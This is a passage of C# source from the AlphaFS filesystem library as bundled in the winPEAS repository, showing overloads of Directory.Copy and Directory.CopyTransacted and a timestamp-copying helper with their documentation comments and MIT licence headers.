preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } #endregion // Obsolete /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, DirectoryEnumerationFilters = filters, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, DirectoryEnumerationFilters = filters, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.CopyFolderTimestamps.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { private static void CopyFolderTimestamps(CopyMoveArguments cma) { // TODO 2018-01-09: Not 100% yet with local + UNC paths. var dstLp = cma.SourcePathLp.ReplaceIgnoreCase(cma.SourcePathLp, cma.DestinationPathLp); // Traverse the source folder, processing only folders. foreach (var fseiSource in EnumerateFileSystemEntryInfosCore(true, cma.Transaction, cma.SourcePathLp, Path.WildcardStarMatchAll, null, null, cma.DirectoryEnumerationFilters, PathFormat.LongFullPath)) File.CopyTimestampsCore(cma.Transaction, true, fseiSource.LongFullPath, Path.CombineCore(false, dstLp, fseiSource.FileName), false, PathFormat.LongFullPath); // Process the root directory, the given path. File.CopyTimestampsCore(cma.Transaction, true, cma.SourcePathLp, cma.DestinationPathLp, false, PathFormat.LongFullPath); // TODO: When enabled on Computer, FindFirstFile will change the last accessed time. } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.CopyTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region Obsolete /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, ProgressHandler = progressHandler, UserProgressData = userProgressData, }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method 